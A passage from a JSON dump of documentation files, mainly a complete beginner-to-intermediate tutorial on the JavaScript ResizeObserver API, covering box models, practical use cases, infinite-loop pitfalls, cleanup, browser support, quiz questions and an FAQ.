title=\"requestAnimationFrame — The Coding Train\" icon=\"video\" href=\"https://www.youtube.com/watch?v=c6iN14aXPR0\">\n    Visual and beginner-friendly explanation of animation loops using requestAnimationFrame. Great for those new to animation.\n  </Card>\n  <Card title=\"JavaScript Game Loop — Franks Laboratory\" icon=\"video\" href=\"https://www.youtube.com/watch?v=mJJmQRjxO5w\">\n    Practical tutorial building a game loop with delta time. Shows real implementation of frame-rate independent animation.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/resize-observer.mdx",
    "content": "---\ntitle: \"ResizeObserver in JavaScript\"\nsidebarTitle: \"ResizeObserver\"\ndescription: \"Learn the ResizeObserver API in JavaScript. Detect element size changes, build responsive components, and replace inefficient window resize listeners.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Observer APIs\"\n\"article:tag\": \"resizeobserver, element size changes, responsive components, window resize, container queries\"\n---\n\nHow do you know when an element's size changes? Maybe a sidebar collapses, a container stretches to fit new content, or a user resizes a text area. How can JavaScript respond to these changes without constantly polling the DOM?\n\n```javascript\n// Detect when an element's size changes\nconst observer = new ResizeObserver((entries) => {\n  for (const entry of entries) {\n    console.log('Element resized:', entry.target);\n    console.log('New width:', entry.contentRect.width);\n    console.log('New height:', entry.contentRect.height);\n  }\n});\n\nobserver.observe(document.querySelector('.resizable-box'));\n```\n\nThe **[ResizeObserver API](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver)** lets you watch elements for size changes and react accordingly. Unlike the `window.resize` event that only fires when the viewport changes, ResizeObserver detects size changes on individual elements, no matter what caused them.\n\n<Info>\n**What you'll learn in this guide:**\n- What ResizeObserver is and why it replaces window resize listeners\n- How to create and use a ResizeObserver\n- Understanding contentRect vs borderBoxSize vs contentBoxSize\n- Building responsive components with element queries\n- Common use cases: responsive typography, canvas resizing, layout adjustments\n- Performance considerations and best practices\n- How to avoid infinite loops and observation errors\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes familiarity with the [DOM](/concepts/dom). If you're new to DOM manipulation, read that guide first!\n</Warning>\n\n---\n\n## What is ResizeObserver?\n\nThe **ResizeObserver** interface reports changes to the dimensions of an element's content box or border box. According to [web.dev](https://web.dev/articles/resize-observer), it provides an efficient way to monitor element size without resorting to continuous polling or listening to every possible event that might cause a resize.\n\nBefore ResizeObserver, detecting element size changes was painful:\n\n```javascript\n// The old way: Listen to window resize and hope for the best\nwindow.addEventListener('resize', () => {\n  const width = element.offsetWidth;\n  // But this ONLY fires when the viewport resizes!\n  // It misses: content changes, CSS animations, sibling resizes...\n});\n\n// Even worse: Polling with setInterval\nsetInterval(() => {\n  const currentWidth = element.offsetWidth;\n  if (currentWidth !== lastWidth) {\n    handleResize();\n    lastWidth = currentWidth;\n  }\n}, 100);  // Wasteful! Runs even when nothing changes\n```\n\nResizeObserver solves all of this. It fires exactly when an observed element's size changes, regardless of the cause.\n\n---\n\n## The Tailor Shop Analogy\n\nThink of ResizeObserver like a tailor who constantly monitors your measurements, ready to adjust your clothes the moment your size changes.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        THE TAILOR SHOP                                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    THE OLD WAY: Check Everyone When the Door Opens                       │\n│    ─────────────────────────────────────────────────                     │\n│                                                                          │\n│    Door opens       →    Measure EVERYONE       →    Most unchanged!     │\n│    (window resize)       (check all elements)       (wasted effort)      │\n│                                                                          │\n│    ────────────────────────────────────────────────────────────────      │\n│                                                                          │\n│    THE RESIZEOBSERVER WAY: Personal Tailors for Each Customer            │\n│    ─────────────────────────────────────────────────────────────         │\n│                                                                          │\n│    Customer            Personal Tailor          Instant Adjustment       │\n│    (element)           (observer callback)      (only when needed)       │\n│                                                                          │\n│    \"I gained weight\"  →  \"I noticed!\"  →  \"Let me adjust your suit\"     │\n│    (size changes)        (callback fires)    (your resize handler)      │\n│                                                                          │\n│    Other customers?   →  Still relaxing   →  No wasted work!            │\n│    (unchanged elements)  (no callback)                                   │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nResizeObserver assigns a \"personal tailor\" to each element you want to watch. The tailor only springs into action when that specific element's measurements change.\n\n---\n\n## How to Create a ResizeObserver\n\nCreating a ResizeObserver follows the same pattern as other observer APIs like [IntersectionObserver](/beyond/concepts/intersection-observer) and [MutationObserver](/beyond/concepts/mutation-observer).\n\n### Basic Syntax\n\n```javascript\n// Step 1: Create the observer with a callback function\nconst resizeObserver = new ResizeObserver((entries, observer) => {\n  // This callback fires whenever observed elements resize\n  for (const entry of entries) {\n    console.log('Element:', entry.target);\n    console.log('Size:', entry.contentRect.width, 'x', entry.contentRect.height);\n  }\n});\n\n// Step 2: Start observing elements\nconst box = document.querySelector('.box');\nresizeObserver.observe(box);\n\n// Step 3: Stop observing when done\nresizeObserver.unobserve(box);      // Stop watching one element\nresizeObserver.disconnect();         // Stop watching all elements\n```\n\n### The Callback Parameters\n\nThe callback receives two arguments:\n\n| Parameter | Description |\n|-----------|-------------|\n| `entries` | An array of [ResizeObserverEntry](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserverEntry) objects, one per observed element that changed |\n| `observer` | A reference to the ResizeObserver itself (useful for disconnecting from within the callback) |\n\n### The ResizeObserverEntry Object\n\nEach entry provides information about the resized element:\n\n```javascript\nconst observer = new ResizeObserver((entries) => {\n  for (const entry of entries) {\n    // The element that was resized\n    console.log(entry.target);\n    \n    // Legacy way: contentRect (DOMRectReadOnly)\n    console.log(entry.contentRect.width);   // Content width\n    console.log(entry.contentRect.height);  // Content height\n    console.log(entry.contentRect.top);     // Padding-top value\n    console.log(entry.contentRect.left);    // Padding-left value\n    \n    // Modern way: More detailed size information\n    console.log(entry.contentBoxSize);      // Content box dimensions\n    console.log(entry.borderBoxSize);       // Border box dimensions\n    console.log(entry.devicePixelContentBoxSize);  // Device pixel dimensions\n  }\n});\n```\n\n---\n\n## Understanding Box Models in ResizeObserver\n\nResizeObserver can report sizes using different CSS box models. Understanding the difference is crucial for accurate measurements.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        CSS BOX MODEL                                     │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    ┌─────────────────────────────────────────────────────────┐          │\n│    │                      MARGIN                              │          │\n│    │    ┌─────────────────────────────────────────────┐      │          │\n│    │    │                 BORDER                       │      │          │\n│    │    │    ┌───────────────────────────────────┐    │      │          │\n│    │    │    │            PADDING                 │    │      │          │\n│    │    │    │    ┌─────────────────────────┐    │    │      │          │\n│    │    │    │    │                         │    │    │      │          │\n│    │    │    │    │     CONTENT BOX         │    │    │      │          │\n│    │    │    │    │   (contentRect)         │    │    │      │          │\n│    │    │    │    │                         │    │    │      │          │\n│    │    │    │    └─────────────────────────┘    │    │      │          │\n│    │    │    │            ↑ contentBoxSize       │    │      │          │\n│    │    │    └───────────────────────────────────┘    │      │          │\n│    │    │                 ↑ borderBoxSize             │      │          │\n│    │    └─────────────────────────────────────────────┘      │          │\n│    └─────────────────────────────────────────────────────────┘          │\n│                                                                          │\n│    contentRect      = Content width/height only                          │\n│    contentBoxSize   = Content width/height (modern, includes writing     │\n│                       mode support)                                      │\n│    borderBoxSize    = Content + padding + border                         │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Choosing Which Box to Observe\n\nThe `observe()` method accepts an options object:\n\n```javascript\n// Observe the content box (default)\nobserver.observe(element);\nobserver.observe(element, { box: 'content-box' });\n\n// Observe the border box (includes padding and border)\nobserver.observe(element, { box: 'border-box' });\n\n// Observe device pixels (useful for canvas)\nobserver.observe(element, { box: 'device-pixel-content-box' });\n```\n\n### Modern Size Properties\n\nThe newer `contentBoxSize` and `borderBoxSize` properties return arrays of [ResizeObserverSize](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserverSize) objects with `inlineSize` and `blockSize`:\n\n```javascript\nconst observer = new ResizeObserver((entries) => {\n  for (const entry of entries) {\n    // Modern approach (handles writing modes correctly)\n    if (entry.contentBoxSize) {\n      // It's an array (for multi-fragment elements in the future)\n      const contentBoxSize = entry.contentBoxSize[0];\n      \n      console.log('Inline size:', contentBoxSize.inlineSize);  // Width in horizontal writing mode\n      console.log('Block size:', contentBoxSize.blockSize);    // Height in horizontal writing mode\n    }\n    \n    // Legacy approach (simpler but less accurate with writing modes)\n    console.log('Width:', entry.contentRect.width);\n    console.log('Height:', entry.contentRect.height);\n  }\n});\n```\n\n<Tip>\n**When to use which:** Use `contentRect` for simple cases where you just need width and height. Use `contentBoxSize` or `borderBoxSize` when you need to handle different writing modes (like vertical text) or when you need border-box measurements.\n</Tip>\n\n---\n\n## Practical Use Cases\n\n### 1. Responsive Typography\n\nAdjust font size based on container width without media queries:\n\n```javascript\nfunction createResponsiveText(element) {\n  const observer = new ResizeObserver((entries) => {\n    for (const entry of entries) {\n      const width = entry.contentRect.width;\n      \n      // Scale font size based on container width\n      const fontSize = Math.max(16, Math.min(48, width / 20));\n      entry.target.style.fontSize = `${fontSize}px`;\n    }\n  });\n  \n  observer.observe(element);\n  return observer;\n}\n\n// Usage\nconst headline = document.querySelector('.headline');\nconst observer = createResponsiveText(headline);\n```\n\n### 2. Canvas Resizing\n\nKeep a canvas sharp at any size by matching its internal resolution:\n\n```javascript\nfunction setupResponsiveCanvas(canvas) {\n  const ctx = canvas.getContext('2d');\n  \n  const observer = new ResizeObserver((entries) => {\n    for (const entry of entries) {\n      // Get the device pixel ratio for sharp rendering\n      const dpr = window.devicePixelRatio || 1;\n      \n      // Get the CSS size\n      const width = entry.contentRect.width;\n      const height = entry.contentRect.height;\n      \n      // Set the canvas internal size to match device pixels\n      canvas.width = width * dpr;\n      canvas.height = height * dpr;\n      \n      // Scale the context to use CSS pixels\n      ctx.scale(dpr, dpr);\n      \n      // Redraw your canvas content\n      redrawCanvas(ctx, width, height);\n    }\n  });\n  \n  observer.observe(canvas);\n  return observer;\n}\n\nfunction redrawCanvas(ctx, width, height) {\n  ctx.fillStyle = '#3498db';\n  ctx.fillRect(0, 0, width, height);\n  ctx.fillStyle = 'white';\n  ctx.font = '24px Arial';\n  ctx.fillText(`${width} x ${height}`, 20, 40);\n}\n```\n\n### 3. Element Queries (Container Queries Alternative)\n\nBefore CSS Container Queries had wide support, ResizeObserver was the go-to solution:\n\n```javascript\nfunction applyElementQuery(element, breakpoints) {\n  const observer = new ResizeObserver((entries) => {\n    for (const entry of entries) {\n      const width = entry.contentRect.width;\n      \n      // Remove all breakpoint classes\n      Object.keys(breakpoints).forEach(bp => {\n        entry.target.classList.remove(breakpoints[bp]);\n      });\n      \n      // Add the appropriate class based on width\n      if (width < 300) {\n        entry.target.classList.add(breakpoints.small);\n      } else if (width < 600) {\n        entry.target.classList.add(breakpoints.medium);\n      } else {\n        entry.target.classList.add(breakpoints.large);\n      }\n    }\n  });\n  \n  observer.observe(element);\n  return observer;\n}\n\n// Usage\nconst card = document.querySelector('.card');\napplyElementQuery(card, {\n  small: 'card--compact',\n  medium: 'card--standard',\n  large: 'card--expanded'\n});\n```\n\n### 4. Auto-Scrolling Chat Window\n\nKeep a chat window scrolled to the bottom when new messages arrive:\n\n```javascript\nfunction setupAutoScroll(container) {\n  let shouldAutoScroll = true;\n  \n  // Track if user has scrolled up\n  container.addEventListener('scroll', () => {\n    const { scrollTop, scrollHeight, clientHeight } = container;\n    shouldAutoScroll = scrollTop + clientHeight >= scrollHeight - 10;\n  });\n  \n  // When content changes size, scroll to bottom if appropriate\n  const observer = new ResizeObserver(() => {\n    if (shouldAutoScroll) {\n      container.scrollTop = container.scrollHeight;\n    }\n  });\n  \n  observer.observe(container);\n  return observer;\n}\n\n// Usage\nconst chatMessages = document.querySelector('.chat-messages');\nsetupAutoScroll(chatMessages);\n```\n\n### 5. Dynamic Aspect Ratio\n\nMaintain aspect ratio for responsive video or image containers:\n\n```javascript\nfunction maintainAspectRatio(element, ratio = 16 / 9) {\n  const observer = new ResizeObserver((entries) => {\n    for (const entry of entries) {\n      const width = entry.contentRect.width;\n      const height = width / ratio;\n      \n      entry.target.style.height = `${height}px`;\n    }\n  });\n  \n  observer.observe(element);\n  return observer;\n}\n\n// Usage: 16:9 video container\nconst videoWrapper = document.querySelector('.video-wrapper');\nmaintainAspectRatio(videoWrapper, 16 / 9);\n```\n\n---\n\n## The #1 ResizeObserver Mistake: Infinite Loops\n\nThe most dangerous mistake with ResizeObserver is creating an infinite loop by changing the observed element's size inside the callback.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        THE INFINITE LOOP TRAP                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  WRONG:                                                                  │\n│                                                                          │\n│    ┌─────────┐    fires     ┌──────────────┐    changes     ┌─────────┐ │\n│    │ Element │ ──────────► │   Callback    │ ─────────────► │ Element │ │\n│    │ resizes │             │ runs          │                │ size!   │ │\n│    └─────────┘             └──────────────┘                └────┬────┘ │\n│         ▲                                                       │      │\n│         │                                                       │      │\n│         └───────────────────────────────────────────────────────┘      │\n│                              INFINITE LOOP!                             │\n│                                                                          │\n│  CORRECT:                                                                │\n│                                                                          │\n│    • Track expected sizes and skip if already at target                  │\n│    • Use requestAnimationFrame to defer changes                          │\n│    • Change OTHER elements, not the observed one                         │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### The Problem\n\n```javascript\n// ❌ WRONG - Creates an infinite loop!\nconst observer = new ResizeObserver((entries) => {\n  for (const entry of entries) {\n    // This changes the element's size, which triggers another callback!\n    entry.target.style.width = (entry.contentRect.width + 10) + 'px';\n  }\n});\n\nobserver.observe(element);  // Browser will eventually throw an error\n```\n\nThe browser protects against complete lockup by only processing elements deeper in the DOM tree on each iteration. Elements that don't meet this condition are deferred to the next frame, and an error is fired:\n\n```\nResizeObserver loop completed with undelivered notifications.\n```\n\n### The Solutions\n\n**Solution 1: Track expected size and skip**\n\n```javascript\n// ✓ CORRECT - Track expected size\nconst expectedSizes = new WeakMap();\n\nconst observer = new ResizeObserver((entries) => {\n  for (const entry of entries) {\n    const expectedSize = expectedSizes.get(entry.target);\n    const currentWidth = entry.contentRect.width;\n    \n    // Skip if we're already at the expected size\n    if (currentWidth === expectedSize) {\n      continue;\n    }\n    \n    const newWidth = calculateNewWidth(currentWidth);\n    entry.target.style.width = `${newWidth}px`;\n    expectedSizes.set(entry.target, newWidth);\n  }\n});\n```\n\n**Solution 2: Use requestAnimationFrame**\n\n```javascript\n// ✓ CORRECT - Defer to next frame\nconst observer = new ResizeObserver((entries) => {\n  requestAnimationFrame(() => {\n    for (const entry of entries) {\n      // Changes happen after the current ResizeObserver cycle\n      entry.target.style.width = (entry.contentRect.width + 10) + 'px';\n    }\n  });\n});\n```\n\n**Solution 3: Modify other elements**\n\n```javascript\n// ✓ CORRECT - Change a different element\nconst observer = new ResizeObserver((entries) => {\n  for (const entry of entries) {\n    // Change a sibling or child, not the observed element itself\n    const label = entry.target.querySelector('.size-label');\n    label.textContent = `${entry.contentRect.width} x ${entry.contentRect.height}`;\n  }\n});\n```\n\n<Warning>\n**The Trap:** ResizeObserver callbacks that resize their observed elements will cause the error \"ResizeObserver loop completed with undelivered notifications.\" While the browser prevents a complete freeze, you'll see errors in the console and potentially janky rendering.\n</Warning>\n\n---\n\n## Performance Considerations\n\nResizeObserver is efficient, but there are still best practices to follow.\n\n### Do's and Don'ts\n\n```javascript\n// ✓ DO: Reuse observers when possible\nconst sharedObserver = new ResizeObserver(handleResize);\nelements.forEach(el => sharedObserver.observe(el));\n\n// ❌ DON'T: Create a new observer for each element\nelements.forEach(el => {\n  const observer = new ResizeObserver(handleResize);\n  observer.observe(el);  // Wasteful!\n});\n```\n\n```javascript\n// ✓ DO: Disconnect when elements are removed\nfunction cleanup() {\n  observer.unobserve(element);\n  element.remove();\n}\n\n// ❌ DON'T: Leave orphaned observers\nelement.remove();  // Observer still running with no target!\n```\n\n```javascript\n// ✓ DO: Debounce expensive operations\nlet timeout;\nconst observer = new ResizeObserver((entries) => {\n  clearTimeout(timeout);\n  timeout = setTimeout(() => {\n    // Expensive operation here\n    recalculateLayout(entries);\n  }, 100);\n});\n\n// ❌ DON'T: Run expensive operations on every callback\nconst observer = new ResizeObserver((entries) => {\n  // This runs on EVERY resize, even during drag!\n  expensiveLayoutCalculation();\n});\n```\n\n### Memory Management\n\nAlways clean up observers when you're done:\n\n```javascript\nclass ResizableComponent {\n  constructor(element) {\n    this.element = element;\n    this.observer = new ResizeObserver(this.handleResize.bind(this));\n    this.observer.observe(element);\n  }\n  \n  handleResize(entries) {\n    // Handle resize\n  }\n  \n  destroy() {\n    // Clean up to prevent memory leaks\n    this.observer.disconnect();\n    this.observer = null;\n  }\n}\n```\n\n---\n\n## Browser Support and Polyfills\n\nResizeObserver has excellent browser support, available in all modern browsers since July 2020. [Can I Use data](https://caniuse.com/resizeobserver) shows over 96% global browser coverage.\n\n| Browser | Support Since |\n|---------|---------------|\n| Chrome | 64 (January 2018) |\n| Firefox | 69 (September 2019) |\n| Safari | 13.1 (March 2020) |\n| Edge | 79 (January 2020) |\n\nFor older browsers, you can use a polyfill:\n\n```javascript\n// Check if ResizeObserver is available\nif ('ResizeObserver' in window) {\n  // Native support\n  const observer = new ResizeObserver(callback);\n} else {\n  // Load polyfill or use fallback\n  console.warn('ResizeObserver not supported');\n}\n```\n\n---\n\n## ResizeObserver vs Other Approaches\n\n| Approach | When It Fires | Efficiency | Use Case |\n|----------|---------------|------------|----------|\n| `window.resize` event | Viewport resize only | Good | Global layout changes |\n| `ResizeObserver` | Any element size change | Excellent | Per-element responsive behavior |\n| `MutationObserver` | DOM mutations | Good | Watching for added/removed elements |\n| Polling with `setInterval` | On interval | Poor | Avoid if possible |\n| CSS Container Queries | Element size change | Excellent | Pure CSS responsive components |\n\n<Tip>\n**Modern recommendation:** Use CSS Container Queries for purely visual adaptations, and ResizeObserver when you need JavaScript logic to respond to size changes (canvas rendering, complex calculations, non-CSS updates).\n</Tip>\n\n---\n\n## Common Mistakes\n\n<AccordionGroup>\n  <Accordion title=\"Mistake 1: Forgetting to disconnect observers\">\n    ```javascript\n    // ❌ WRONG - Memory leak!\n    function attachObserver(element) {\n      const observer = new ResizeObserver(callback);\n      observer.observe(element);\n      // Observer lives forever, even if element is removed\n    }\n    \n    // ✓ CORRECT - Return observer for cleanup\n    function attachObserver(element) {\n      const observer = new ResizeObserver(callback);\n      observer.observe(element);\n      return observer;  // Caller can disconnect when done\n    }\n    \n    const observer = attachObserver(myElement);\n    // Later...\n    observer.disconnect();\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Mistake 2: Accessing contentBoxSize incorrectly\">\n    ```javascript\n    // ❌ WRONG - contentBoxSize is an array!\n    const observer = new ResizeObserver((entries) => {\n      const width = entries[0].contentBoxSize.inlineSize;  // Error!\n    });\n    \n    // ✓ CORRECT - Access the first element of the array\n    const observer = new ResizeObserver((entries) => {\n      const width = entries[0].contentBoxSize[0].inlineSize;\n    });\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Mistake 3: Not handling initial callback\">\n    ```javascript\n    // Note: ResizeObserver fires immediately when you start observing!\n    const observer = new ResizeObserver((entries) => {\n      console.log('Resize detected');  // Fires right away!\n    });\n    \n    observer.observe(element);  // Triggers callback immediately\n    \n    // If you want to skip the initial call:\n    let isFirstCall = true;\n    const observer = new ResizeObserver((entries) => {\n      if (isFirstCall) {\n        isFirstCall = false;\n        return;  // Skip initial measurement\n      }\n      handleResize(entries);\n    });\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Mistake 4: Creating observers inside loops without cleanup\">\n    ```javascript\n    // ❌ WRONG - Creates new observer on each scroll!\n    window.addEventListener('scroll', () => {\n      const observer = new ResizeObserver(callback);  // Memory leak!\n      observer.observe(element);\n    });\n    \n    // ✓ CORRECT - Create once, reuse\n    const observer = new ResizeObserver(callback);\n    observer.observe(element);  // Set up once\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **ResizeObserver watches individual elements** for size changes, unlike `window.resize` which only detects viewport changes\n\n2. **The callback receives entries** with `target`, `contentRect`, `contentBoxSize`, and `borderBoxSize` properties\n\n3. **Use the `box` option** to observe content-box, border-box, or device-pixel-content-box\n\n4. **Avoid infinite loops** by not changing the observed element's size directly in the callback\n\n5. **Clean up with `disconnect()` or `unobserve()`** to prevent memory leaks\n\n6. **ResizeObserver fires immediately** when you start observing, not just on subsequent changes\n\n7. **Reuse observers** across multiple elements instead of creating one per element\n\n8. **Debounce expensive operations** because callbacks fire frequently during drag/resize interactions\n\n9. **contentBoxSize is an array** even though it usually contains just one element\n\n10. **Consider CSS Container Queries** for purely visual adaptations that don't need JavaScript\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between contentRect and contentBoxSize?\">\n    **Answer:**\n    \n    `contentRect` is a `DOMRectReadOnly` object with `width`, `height`, `top`, `left`, `right`, `bottom`, `x`, and `y` properties. It represents the content box in terms of the document's coordinate system.\n    \n    `contentBoxSize` is an array of `ResizeObserverSize` objects with `inlineSize` and `blockSize` properties. These handle writing modes correctly (inline is width in horizontal mode, but height in vertical mode).\n    \n    ```javascript\n    // contentRect approach (simpler)\n    const width = entry.contentRect.width;\n    \n    // contentBoxSize approach (handles writing modes)\n    const inlineSize = entry.contentBoxSize[0].inlineSize;\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: When does ResizeObserver fire its callback?\">\n    **Answer:**\n    \n    ResizeObserver fires:\n    1. **Immediately when you call `observe()`** on an element (initial measurement)\n    2. **Whenever the observed element's size changes** for any reason (CSS changes, content changes, window resize, sibling changes, etc.)\n    \n    It processes resize events **before paint** but **after layout**, making it the ideal place to make layout adjustments.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How do you avoid the 'ResizeObserver loop' error?\">\n    **Answer:**\n    \n    The error occurs when your callback changes the observed element's size, triggering another callback. Solutions:\n    \n    ```javascript\n    // Solution 1: Track expected sizes\n    const expectedSize = new WeakMap();\n    const observer = new ResizeObserver((entries) => {\n      for (const entry of entries) {\n        if (entry.contentRect.width === expectedSize.get(entry.target)) return;\n        // ... make changes\n        expectedSize.set(entry.target, newWidth);\n      }\n    });\n    \n    // Solution 2: Use requestAnimationFrame\n    const observer = new ResizeObserver((entries) => {\n      requestAnimationFrame(() => {\n        // Changes deferred to next frame\n      });\n    });\n    \n    // Solution 3: Change other elements, not the observed one\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: How do you observe the border-box instead of content-box?\">\n    **Answer:**\n    \n    Pass an options object to `observe()`:\n    \n    ```javascript\n    // Observe border-box (content + padding + border)\n    observer.observe(element, { box: 'border-box' });\n    \n    // Access border box size in callback\n    const borderWidth = entry.borderBoxSize[0].inlineSize;\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What's the best way to clean up a ResizeObserver?\">\n    **Answer:**\n    \n    ```javascript\n    // Stop observing a specific element\n    observer.unobserve(element);\n    \n    // Stop observing ALL elements and disable the observer\n    observer.disconnect();\n    ```\n    \n    Always disconnect observers when:\n    - The observed element is removed from the DOM\n    - Your component/module is destroyed\n    - You no longer need to watch for size changes\n    \n    Failure to clean up causes memory leaks.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: Why is contentBoxSize an array?\">\n    **Answer:**\n    \n    `contentBoxSize` and `borderBoxSize` are arrays to support future features where elements might have multiple fragments (like in multi-column layouts where an element might be split across columns).\n    \n    For now, these arrays always contain exactly one element, so you access it with `[0]`:\n    \n    ```javascript\n    const width = entry.contentBoxSize[0].inlineSize;\n    const height = entry.contentBoxSize[0].blockSize;\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is ResizeObserver in JavaScript?\">\n    ResizeObserver is a browser API that detects when an element's dimensions change, regardless of the cause — content changes, CSS transitions, window resizing, or sibling layout shifts. Unlike the `window.resize` event which only fires on viewport changes, ResizeObserver monitors individual elements. Web.dev describes it as \"document.onresize for elements.\"\n  </Accordion>\n\n  <Accordion title=\"What is the difference between ResizeObserver and window resize events?\">\n    The `window.resize` event only fires when the browser viewport changes size. ResizeObserver fires when any observed element changes size, regardless of the cause. This makes it essential for responsive components that need to adapt when their container changes — a scenario that CSS Container Queries also address.\n  </Accordion>\n\n  <Accordion title=\"How do I avoid the ResizeObserver loop error?\">\n    The error \"ResizeObserver loop completed with undelivered notifications\" occurs when your callback changes the observed element's size, triggering another callback. Avoid this by tracking expected sizes and skipping redundant updates, using `requestAnimationFrame` to defer changes, or modifying other elements instead of the observed one.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between contentRect and contentBoxSize?\">\n    `contentRect` is a legacy `DOMRectReadOnly` with `width` and `height` properties. `contentBoxSize` is the modern alternative — an array of `ResizeObserverSize` objects using `inlineSize` and `blockSize`, which correctly handle vertical writing modes. MDN recommends `contentBoxSize` for new code.\n  </Accordion>\n\n  <Accordion title=\"Does ResizeObserver fire immediately when you call observe()?\">\n    Yes — like IntersectionObserver, ResizeObserver fires its callback immediately when you start observing an element to report its current dimensions. If you want to skip this initial call, add a guard flag that skips the first invocation.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Intersection Observer\" icon=\"eye\" href=\"/beyond/concepts/intersection-observer\">\n    Detect when elements enter or leave the viewport\n  </Card>\n  <Card title=\"Mutation Observer\" icon=\"code-branch\" href=\"/beyond/concepts/mutation-observer\">\n    Watch for changes to the DOM tree structure\n  </Card>\n  <Card title=\"DOM\" icon=\"sitemap\" href=\"/concepts/dom\">\n    Understanding the Document Object Model\n  </Card>\n  <Card title=\"Performance Observer\" icon=\"gauge-high\" href=\"/beyond/concepts/performance-observer\">\n    Monitor performance metrics in your application\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"ResizeObserver - MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver\">\n    Official MDN documentation for the ResizeObserver API including constructor, methods, and browser compatibility.\n  </Card>\n  <Card title=\"ResizeObserverEntry - MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserverEntry\">\n    Documentation for the entry objects passed to the ResizeObserver callback with all available properties.\n  </Card>\n  <Card title=\"Resize Observer API - MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Resize_Observer_API\">\n    Overview guide for the Resize Observer API with concepts and usage patterns.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"ResizeObserver: It's Like document.onresize for Elements - web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/resize-observer\">\n    Google's official guide covering the API design, gotchas with infinite loops, and practical applications. Includes details on Interaction to Next Paint considerations.\n  </Card>\n  <Card title=\"ResizeObserver API Tutorial with Examples - LogRocket\" icon=\"newspaper\" href=\"https://blog.logrocket.com/how-to-use-the-resizeobserver-api-a-tutorial-with-examples/\">\n    Comprehensive tutorial with real-world examples including responsive components, canvas resizing, and performance optimization patterns.\n  </Card>\n  <Card title=\"A Practical Guide to ResizeObserver - Medium\" icon=\"newspaper\" href=\"https://mehul-kothari.medium.com/resizeobserver-a-comprehensive-guide-4afa012ccaad\">\n    Step-by-step walkthrough of ResizeObserver fundamentals with clear code examples for common use cases.\n  </Card>\n  <Card title=\"JavaScript ResizeObserver Interface - GeeksforGeeks\" icon=\"newspaper\" href=\"https://www.geeksforgeeks.org/javascript/javascript-resizeobserver-interface/\">\n    Beginner-friendly introduction to ResizeObserver with simple examples and explanations of the callback parameters.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"ResizeObserver - It's Like document.onresize for Elements - Google Chrome Developers\" icon=\"video\" href=\"https://www.youtube.com/watch?v=z8iFyJxFYKA\">\n    Official Chrome team explanation of ResizeObserver with live demos showing how to build responsive components without viewport-based media queries.\n  </Card>\n  <Card title=\"The Resize Observer API in JavaScript - Steve Griffith\" icon=\"video\" href=\"https://www.youtube.com/watch?v=9lkZ77m9-HY\">\n    Clear, methodical walkthrough of ResizeObserver covering the API surface, practical examples, and common pitfalls to avoid.\n  </Card>\n  <Card title=\"JavaScript Resize Observer Explained - dcode\" icon=\"video\" href=\"https://www.youtube.com/watch?v=M2c37drnnOA\">\n    Quick tutorial covering ResizeObserver basics with hands-on coding examples for responsive layouts and element-level queries.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/strict-mode.mdx",
